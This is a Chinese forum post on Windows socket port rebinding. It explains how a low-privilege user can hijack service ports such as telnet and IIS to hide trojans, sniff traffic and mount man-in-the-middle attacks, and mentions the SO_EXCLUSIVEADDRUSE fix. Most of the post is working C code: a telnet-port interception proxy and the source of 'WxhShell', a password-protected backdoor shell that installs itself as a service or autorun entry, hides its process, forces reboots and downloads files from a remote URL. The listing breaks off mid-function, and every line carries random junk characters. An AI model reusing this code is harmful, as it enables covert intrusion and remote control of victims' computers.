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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;{|a~e?Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - Pz )O@ ;  
^_<>o[qE  
  saddr.sin_family = AF_INET; IidZ -Il  
l,/q# )5[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $8&HpX#h$  
rL URP2~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y? [*qnPj  
F~d !Ub$>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zn3iLAPBX  
QnxkD)f*0  
  这意味着什么?意味着可以进行如下的攻击: bcpH|}[F)  
Fga9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @{_PO{=\C  
yZ:|wxVY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cFLu+4.jsG  
F *; +-e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +ZXGT  
hBsjO3n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _}]o~  
4\(;}M-R{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y,D\_il_  
{s8''+Q#(-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'D(Hqdr;:  
T GMHo{ ]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 89l_%To  
,WOF)   
  #include 9[N' HpQ3  
  #include nVG\*#*]|  
  #include z>j%-3_1  
  #include    Y tGH>0}h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G%YD2<V  
  int main() jTw s0=F*  
  { wri[#D {  
  WORD wVersionRequested; zJ9ZqC]  
  DWORD ret; z!Kadqns  
  WSADATA wsaData; hl~(&D1^  
  BOOL val; 5d}PrYa  
  SOCKADDR_IN saddr; "4"\tM(  
  SOCKADDR_IN scaddr;  CjQ_oNI  
  int err; `@.YyPxX\  
  SOCKET s; svpWABO  
  SOCKET sc; ! # tRl  
  int caddsize; Lu:!vTRmw  
  HANDLE mt; q\#3G  
  DWORD tid;   @7lZ{jV$  
  wVersionRequested = MAKEWORD( 2, 2 ); 54F([w  
  err = WSAStartup( wVersionRequested, &wsaData ); 8zj09T[  
  if ( err != 0 ) { B_5q}Bp<  
  printf("error!WSAStartup failed!\n"); Wr)% C  
  return -1; >mF`XbS  
  } 8KWT d  
  saddr.sin_family = AF_INET; |[34<tIN  
   C,PCU<q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rl5}W\&  
M/V >25`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +G/~v`Bv  
  saddr.sin_port = htons(23); e^'?:j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M`?/QU~  
  { LR)is  
  printf("error!socket failed!\n"); ip5s'S~  
  return -1; 6\o.wq  
  } 66L*6O4  
  val = TRUE; SgXXitg9+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r.ajw&J2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p'w[5'  
  { [F/xU  
  printf("error!setsockopt failed!\n"); xC;$/u%'  
  return -1; n; rOH[P  
  } F$ h/k^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Kg]( kP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 95 ]%j\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R&xD|w8UjM  
Jy|Mfl%d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .j&jf^a5  
  { %oor7 -l  
  ret=GetLastError(); g"Ii'JZ?  
  printf("error!bind failed!\n"); !;\-V}V  
  return -1; =D[h0U  
  } 6  09=o+  
  listen(s,2); c7rYG]  
  while(1) D 0n2r  
  { NZlJ_[\$C  
  caddsize = sizeof(scaddr); q',a7Tf:  
  //接受连接请求 u|:VQzPd-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #kb(2Td  
  if(sc!=INVALID_SOCKET) jB1\L<P  
  { 1~`g fHI4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RmNF]"3%  
  if(mt==NULL) vY;Lc   
  { {Zseu$c  
  printf("Thread Creat Failed!\n"); ,}2j Fb9z4  
  break; ;%k%AXw  
  } t#pY2!/T3  
  } 8dZH&G@;  
  CloseHandle(mt);  zIAMM  
  } '6WDs]\  
  closesocket(s); rLKDeB  
  WSACleanup(); 1$Hf`h2  
  return 0; (u'/tNGS  
  }   wUV%NZB  
  DWORD WINAPI ClientThread(LPVOID lpParam) LB{a&I LG  
  { U73`HDJ  
  SOCKET ss = (SOCKET)lpParam; 6nq.~f2`  
  SOCKET sc; ',&MYm\  
  unsigned char buf[4096]; !<X_XA  
  SOCKADDR_IN saddr; EEo+#  
  long num; .A `:o  
  DWORD val; $\K(EBi#G  
  DWORD ret; x4( fW\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 & {/ u>,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <%Rr-,  
  saddr.sin_family = AF_INET; Fh/C{cX9g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =H?Nb:s  
  saddr.sin_port = htons(23); 9E#(iP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oaXD^ H\  
  { sO6t8)$b  
  printf("error!socket failed!\n"); %4-pw|':  
  return -1; hBqu,A  
  } U&/S  
  val = 100; 'K"*4B^3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p-6.:y  
  { z"vgwOP su  
  ret = GetLastError(); >5gzo6j/  
  return -1; bG&qgbN>  
  } He*L"VpWv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K*}j1A  
  { "nefRz%j+  
  ret = GetLastError(); *Xnq1_K}  
  return -1; ?-Z:N`YP  
  } KWH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DtN6.9H2`  
  { h ,n!x:zy@  
  printf("error!socket connect failed!\n"); ~VGK#'X:  
  closesocket(sc); t&uHn5  
  closesocket(ss); 5.E 2fX  
  return -1; $G}Q}f  
  } ]a%Kn]HI&2  
  while(1) N~kYT\$b#  
  { P3|<K-dFAK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +]zP $5_e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &tOD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g!8lW   
  num = recv(ss,buf,4096,0); yLX#: nm  
  if(num>0) 'ng/A4  
  send(sc,buf,num,0); vJ' 93 h  
  else if(num==0) #lC{R^SL  
  break; x M[#Ah)  
  num = recv(sc,buf,4096,0); igL^k`&5^"  
  if(num>0) /Rz,2jfRx'  
  send(ss,buf,num,0); srkOa d  
  else if(num==0) < KA@A}  
  break; u^uG_^^,/  
  } 7(;VUR%%.  
  closesocket(ss); q'r3a+  
  closesocket(sc); K\ ]r  
  return 0 ; Uwk|M?94  
  } LN^8U  
0A9cu,ZdUR  
b#U%aPH  
========================================================== /km3L7L%R  
,m8*uCf  
下边附上一个代码,,WXhSHELL "F}Ip&]hAG  
`QF|> N  
========================================================== gD\}CxtG  
mx4*zj  
#include "stdafx.h" <i6MbCB  
zE/(F;> FV  
#include <stdio.h> J"MJVMo$T  
#include <string.h> ZIl<y{  
#include <windows.h> u2Obb`p S  
#include <winsock2.h> ?rDwYG(u]@  
#include <winsvc.h> qh 3f  
#include <urlmon.h> xL"% 2nf  
7KIQ)E'kG|  
#pragma comment (lib, "Ws2_32.lib") :[39g;V}c  
#pragma comment (lib, "urlmon.lib") ZB%~>  
T1&H!  
#define MAX_USER   100 // 最大客户端连接数 :JIPF=]fc  
#define BUF_SOCK   200 // sock buffer t} M3F-NZ  
#define KEY_BUFF   255 // 输入 buffer J|IDnCK  
6hq)yUvo4  
#define REBOOT     0   // 重启 ;p ('cwU%  
#define SHUTDOWN   1   // 关机 +bn w,B><  
AlxS?f2w  
#define DEF_PORT   5000 // 监听端口 OEW,[d  
NZ5~\k  
#define REG_LEN     16   // 注册表键长度 nE;gM1I  
#define SVC_LEN     80   // NT服务名长度 sCl,]g0{  
IycxRig  
// 从dll定义API QR'g*Bro  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kDh(~nfj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +GS=zNw#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HWBom8u0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5aNDW'z`f  
:bDA<B6bb  
// wxhshell配置信息 S/;Y4o  
struct WSCFG { $ZO<8|bW  
  int ws_port;         // 监听端口 vBx^zDe  
  char ws_passstr[REG_LEN]; // 口令 =;=V4nKN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6%#'X  
  char ws_regname[REG_LEN]; // 注册表键名 tV9C33  
  char ws_svcname[REG_LEN]; // 服务名 tW>R 16zq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B;r$( 'UZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yFo5pKF.J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KOx#LGz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Q/!%y%5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .*blM1+6i/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1_C6KS  
]:s|.C%qI  
}; NN'<-0~  
auW]rwY  
// default Wxhshell configuration O$/ swwB!  
struct WSCFG wscfg={DEF_PORT, Q%2Lyt"(  
    "xuhuanlingzhe", z:5ROlk0  
    1, X~3P?O]kFv  
    "Wxhshell", "n, ZP@M;  
    "Wxhshell", }8: -I Nj4  
            "WxhShell Service", SGd.z6"H  
    "Wrsky Windows CmdShell Service", pe})A  
    "Please Input Your Password: ", Q{hOn]"  
  1, iXRt9)MT{  
  "http://www.wrsky.com/wxhshell.exe", VAE?={-  
  "Wxhshell.exe" x^2/jUc#B  
    }; ;i :wY&  
Zr;=p"cXr  
// 消息定义模块 rC `s;w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oJT@'{;*z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J9.p8A^^2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E(_I3mftm  
char *msg_ws_ext="\n\rExit."; nk 9 K\I  
char *msg_ws_end="\n\rQuit."; zEfD{I  
char *msg_ws_boot="\n\rReboot..."; m0\}Cc  
char *msg_ws_poff="\n\rShutdown..."; vP NZFi-(  
char *msg_ws_down="\n\rSave to "; K<JP9t6Qd  
|qDfFGYf  
char *msg_ws_err="\n\rErr!"; QvN <uxm  
char *msg_ws_ok="\n\rOK!"; L0  2~FT  
<h51KPo^P  
char ExeFile[MAX_PATH]; 9[E$>o"%  
int nUser = 0; c[lob{,  
HANDLE handles[MAX_USER]; Ki6.'#%7  
int OsIsNt; 1>y=i+T/b  
/,Id_TTCO  
SERVICE_STATUS       serviceStatus; 'a?.X _t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gGml c:/J%  
!bQ &n  
// 函数声明 F)ld@Ydk=  
int Install(void); P.Z<b:V!  
int Uninstall(void); Q]UYG(  
int DownloadFile(char *sURL, SOCKET wsh); (kyo?3  
int Boot(int flag); r~_ /Jj  
void HideProc(void); an[~%vxw}  
int GetOsVer(void); !DL53DQ#  
int Wxhshell(SOCKET wsl); nY-9 1q?Y  
void TalkWithClient(void *cs); Ytwv=;h-  
int CmdShell(SOCKET sock); 'OW"*b  
int StartFromService(void); ]u ~Fn2  
int StartWxhshell(LPSTR lpCmdLine);  m+{: ^  
G0Tc}_o<Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :vyf-K 74M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0a 6z "K}  
G$9|aaf`1#  
// 数据结构和表定义 Z*)Y:tk)b  
SERVICE_TABLE_ENTRY DispatchTable[] = B2qq C-hw?  
{ .r%|RWs6W  
{wscfg.ws_svcname, NTServiceMain}, S&]<;N_B  
{NULL, NULL} 8A u<\~p  
}; ND1%s &  
g4SYG)'R+  
// 自我安装 V?dK*8s  
int Install(void) g] C3 lf-  
{ &\` a5[  
  char svExeFile[MAX_PATH]; QN&^LaB<T  
  HKEY key; R&_\&:4f  
  strcpy(svExeFile,ExeFile); zRE8299%z  
UA4d|^ev  
// 如果是win9x系统,修改注册表设为自启动 4?M3#],'h  
if(!OsIsNt) { <O)X89dFM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u4M2Ec  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C{i;spc!bi  
  RegCloseKey(key); )r,R!8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &~A*(+S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); maEpT43f  
  RegCloseKey(key); FDs^S)B  
  return 0; jTUf4&b-  
    } _JIUds5  
  } 4yZ+,hqJ<9  
} l%U_iqL&  
else { KM(9& 1/  
jP.b oj_u*  
// 如果是NT以上系统,安装为系统服务 @&xaaqQ-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L0|hc  
if (schSCManager!=0) c1AG3Nb  
{ o``>sBZOq  
  SC_HANDLE schService = CreateService /A))"D  
  ( rjQhU%zv  
  schSCManager, ;(0$~O$3u  
  wscfg.ws_svcname, AD%D ,l  
  wscfg.ws_svcdisp, bKMR7&e.Ep  
  SERVICE_ALL_ACCESS, ~TFYlV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _AB9BQm  
  SERVICE_AUTO_START, ?&<o_/`-H5  
  SERVICE_ERROR_NORMAL, c[RL Yu  
  svExeFile, I&fh  
  NULL, po2[uJ  
  NULL, /j69NEl  
  NULL, l(w vQO  
  NULL, 4zfRD`;  
  NULL b hr E  
  ); ?(ls<&s{w  
  if (schService!=0) O:=|b]t  
  { J1Ki2I=  
  CloseServiceHandle(schService); S O:V|Tfj  
  CloseServiceHandle(schSCManager); VMye5  P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ._MAHBx+G  
  strcat(svExeFile,wscfg.ws_svcname); ]v\egfW,W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j5h 6u,^:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d J%Rk#?;A  
  RegCloseKey(key); <RPoQ'.^  
  return 0; b'oGt,  
    } ;!JX-Jq  
  } 3AQ>>)T~  
  CloseServiceHandle(schSCManager); X*9N[#wu6  
} } wOpPN[4  
} $n#Bi.A j  
%::deV7  
return 1; dbuJ~?D,  
} *xo;pe)9  
'tu@`7*  
// 自我卸载 /sT ^lf=  
int Uninstall(void) Am4^v?q  
{ W6Aj<{\F  
  HKEY key; Z-h7  
+5t bK  
if(!OsIsNt) { 7Cd_zZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X:``{!~geo  
  RegDeleteValue(key,wscfg.ws_regname); u|OzW}xb7j  
  RegCloseKey(key); >g>`!Sf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]dbSa1?  
  RegDeleteValue(key,wscfg.ws_regname); 0+<eRR9 -  
  RegCloseKey(key); euj8p:+X  
  return 0; T<f\*1~^  
  } Z 5)_B,E:X  
} 7.e7Fi{  
} Vl 19Md  
else { 95^i/6Gl!P  
ZG@M%|>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VwOG?5W/  
if (schSCManager!=0) puS&S *  
{ Q1nDl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hP1 l v7P  
  if (schService!=0) B?#kW!wj  
  { M,t*nG  
  if(DeleteService(schService)!=0) { C3\E.u ?  
  CloseServiceHandle(schService); "7yNKO;W  
  CloseServiceHandle(schSCManager); [l':G]  
  return 0; y5/'!L)g  
  } ^6a S]t  
  CloseServiceHandle(schService); * K,hrpYR  
  } $' (QTEM  
  CloseServiceHandle(schSCManager); ) Kc%8hBv  
} 6mu<&m@  
} )W1(tEq59  
BU9J_rCIv  
return 1; -!|WZ   
} :GQIlA8cF$  
Jh43)#G-  
// 从指定url下载文件 zRV!(Y  
int DownloadFile(char *sURL, SOCKET wsh) nJleef9  
{ )>y k-  
  HRESULT hr; f{igW?Ho  
char seps[]= "/"; p`:*mf  
char *token; $Ei o$TI  
char *file; JYwyR++uo  
char myURL[MAX_PATH]; >sQ2@"y)s2  
char myFILE[MAX_PATH]; w!WRa8C  
}U%^3r-  
strcpy(myURL,sURL); {4: -0itG  
  token=strtok(myURL,seps); fimb]C I|x  
  while(token!=NULL) ,jRcl!n`  
  { 3a#PA4Ql  
    file=token; nw0L1TP/J  
  token=strtok(NULL,seps); MCk^Tp!  
  } n1*&%d'7  
?h!t$QQ!M  
GetCurrentDirectory(MAX_PATH,myFILE); W}XYmF*_?  
strcat(myFILE, "\\"); `l>93A  
strcat(myFILE, file); -=$% {  
  send(wsh,myFILE,strlen(myFILE),0); BrJ o!@<  
send(wsh,"...",3,0); J;UBnCg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q]6_ rY.  
  if(hr==S_OK) I#U>5"%\a  
return 0; 2'wr={>W  
else u R\m`  
return 1; PMgQxM*h  
IS[Vap:  
} {J~(#i k   
)?w&oIj5  
// 系统电源模块 g .x=pt  
int Boot(int flag) 2yN%~C?$  
{ a-]hW=[  
  HANDLE hToken; K1T1@ j  
  TOKEN_PRIVILEGES tkp; e(yQKwVD  
.Gizz</P~  
  if(OsIsNt) { 5M%,N-P^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5-D`<\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -<^jGrb  
    tkp.PrivilegeCount = 1; 8zdT9y|Ig  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r^$\t0h(U8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6hkkNXqkf  
if(flag==REBOOT) { D@8jGcz62  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YP[LQ>  
  return 0; 'nRp}s1^[  
} E: 9o;JU  
else { _QR g7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8> UKIdp  
  return 0; Fr-[UZ~V  
} :GQ UM6  
  } I4)Nb WQ  
  else { ?75\>NiR  
if(flag==REBOOT) { dQ:?<zZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K7IyCcdB  
  return 0; Kb}MF9?:e  
} K~c^*;F  
else { GDF{Lf)/v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U1l0Uke  
  return 0; fr+@HUOxsl  
} /b.$jnqL  
} [?-]PZ  
 ]}Pl%.  
return 1; [ S5bj]D  
} hwiKOP  
HOE2*4r  
// win9x进程隐藏模块 jm[}M  
void HideProc(void) wL;]1&Qq  
{ lDo(@nM  
Bwjg#1E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $^t<9" t  
  if ( hKernel != NULL ) ,Ij=b  
  { #wF1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dy su{rL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p ZtgIS(3  
    FreeLibrary(hKernel); lLH$`Wnv  
  } 1e/L\Y=m  
l '/N3&5  
return; 3[VWTq)D=  
} [*<.?9n)or  
(vKI1^,  
// 获取操作系统版本 A8J8u,u9  
int GetOsVer(void) $,TGP+vH  
{ :/B:FY=  
  OSVERSIONINFO winfo; {VR`;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &.zj5*J  
  GetVersionEx(&winfo); Q:mZ" i5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =yo{[&Jz  
  return 1; VBM/x|'  
  else @%c81rv?  
  return 0; j")FaIM  
}  l^P#kQA  
c15r':.5  
// 客户端句柄模块 !#?8BwnaZ  
int Wxhshell(SOCKET wsl) O}QFq14<+  
{ Rp0|zP,5  
  SOCKET wsh; +P|2m"UA  
  struct sockaddr_in client; ~ FGe ~  
  DWORD myID; D}w<84qX  
n12UBvc}%  
  while(nUser<MAX_USER) a5a1'IVq  
{ !i^]UN   
  int nSize=sizeof(client); }qAVN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L1wZU,o  
  if(wsh==INVALID_SOCKET) return 1; P.c O6+jGR  
jeq:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RX'-99M  
if(handles[nUser]==0) w:}C8WKw  
  closesocket(wsh); 3qtr9NI  
else l4KbTKm7  
  nUser++; H d*}k6  
  } i}B;+0<drx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]=x\b^  
(= 9 wo  
  return 0; hT'=VN  
} M'q'$)e  
G+VD8]!K1  
// 关闭 socket ]*3:DU  
void CloseIt(SOCKET wsh) sK&,):"]R  
{ DR@1z9 a  
closesocket(wsh); JS!*2*Wr  
nUser--; nLj&Uf&  
ExitThread(0); 0z7L+2#b^  
} `B:"6nW6  
o-z &7@3Hu  
// 客户端请求句柄 P? (vW&B  
void TalkWithClient(void *cs) k9mi5Oc  
{ *_1[[~Aw  
@uM EXP  
  SOCKET wsh=(SOCKET)cs; L,?/'!xV  
  char pwd[SVC_LEN]; !,Nwts>m  
  char cmd[KEY_BUFF]; R"3 M[^  
char chr[1]; 'tm$q /&  
int i,j; g6%Z)5D]!  
o>F*Itr{  
  while (nUser < MAX_USER) { OQScW2a&  
Q`A6(y/s?  
if(wscfg.ws_passstr) { @*(4dt:V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OP%?dh]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T6Ctf#  
  //ZeroMemory(pwd,KEY_BUFF); &cu!Hx  
      i=0; ,gMy@  
  while(i<SVC_LEN) { (#|{%4g@>  
rk|a5-i  
  // 设置超时 M4KWN'  
  fd_set FdRead; pZk6 w1d!  
  struct timeval TimeOut; rC BfD  
  FD_ZERO(&FdRead); ,PECYwegkt  
  FD_SET(wsh,&FdRead); lZW K2  
  TimeOut.tv_sec=8; ]Bnwk o  
  TimeOut.tv_usec=0; MR$>!Nlp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J#Z5^)$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zE|Wn3_sd  
.<#ATFmY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7LCp7$Cp  
  pwd=chr[0]; ]6&$|2H?Ni  
  if(chr[0]==0xd || chr[0]==0xa) { ;:mu}  
  pwd=0; DG[%Nhle  
  break; !tXZ%BP.u  
  } /(?@mnq_  
  i++; L9FHgl?  
    } hO#t:WxFI  
q'G,!];qL  
  // 如果是非法用户,关闭 socket \NK-L."[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y]N,.pv=  
} 33K*qaRAD  
l-Nly>~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tmJgm5v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WR#0<cz(  
PB53myDQ  
while(1) { XIAeCU  
XiQkrZ  
  ZeroMemory(cmd,KEY_BUFF); QTmZ( >z  
yz\c5  
      // 自动支持客户端 telnet标准   yGj.)$1},@  
  j=0; ;o-yQmdh  
  while(j<KEY_BUFF) { xHo&[{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pc_VY>Ty  
  cmd[j]=chr[0]; JOb MZA$  
  if(chr[0]==0xa || chr[0]==0xd) { }BJX/, H,  
  cmd[j]=0; X!tf#tl  
  break; wRtZ `o  
  } /i_ @  
  j++; rwE%G>Vb  
    } =IjQ40W  
z@Hp,|Vy[  
  // 下载文件 r$(~j^<s  
  if(strstr(cmd,"http://")) { =f1B,%7G+5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hs+kr?Pg`  
  if(DownloadFile(cmd,wsh)) T vtm`Yk\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9LWUCpsf  
  else Bs ;|D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IQH[Q9%  
  } bb-qO#E  
  else { g(ogXA1  
v [njdP  
    switch(cmd[0]) { e]Fp=*#  
  Sr_VL:Gg  
  // 帮助  dy>!KO  
  case '?': { bh p5<N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IMGP'g  
    break; A,gEM4  
  } beXNrf=bG  
  // 安装 k\`S lb1  
  case 'i': { :6{`~=  
    if(Install()) )|bC^{kH!l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nV_8Ke  
    else d3;qsUh$yv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=Hndx^  
    break; Q.U$nph\%d  
    } P\nC?!Q%c  
  // 卸载 "xJ0 vlw  
  case 'r': { I97yt[,Yy  
    if(Uninstall()) s{bdl[7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@bNpflb`  
    else od' /%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ANi)q$:{  
    break; [ ho (z30k  
    } xiblPF_n3  
  // 显示 wxhshell 所在路径 . T JEUK  
  case 'p': { zDTv\3rZ4X  
    char svExeFile[MAX_PATH]; BB$oq'  
    strcpy(svExeFile,"\n\r"); ?sz)J 3  
      strcat(svExeFile,ExeFile); dt}_D={Be  
        send(wsh,svExeFile,strlen(svExeFile),0); _<c$)1  
    break; % ps$qB'  
    } WjSc/3Qy  
  // 重启 "Z=5gj  
  case 'b': { 6NWn(pZ]p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _~u2: yl (  
    if(Boot(REBOOT)) = u[#2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr05L<?H  
    else { *f%>YxF  
    closesocket(wsh); txgQ"MGA%  
    ExitThread(0); aGZi9O7G}  
    } 3r+.N  
    break; X0(tboj#  
    } IuF_M<d,  
  // 关机 Nes=;%&]G  
  case 'd': { _PFnh)o  
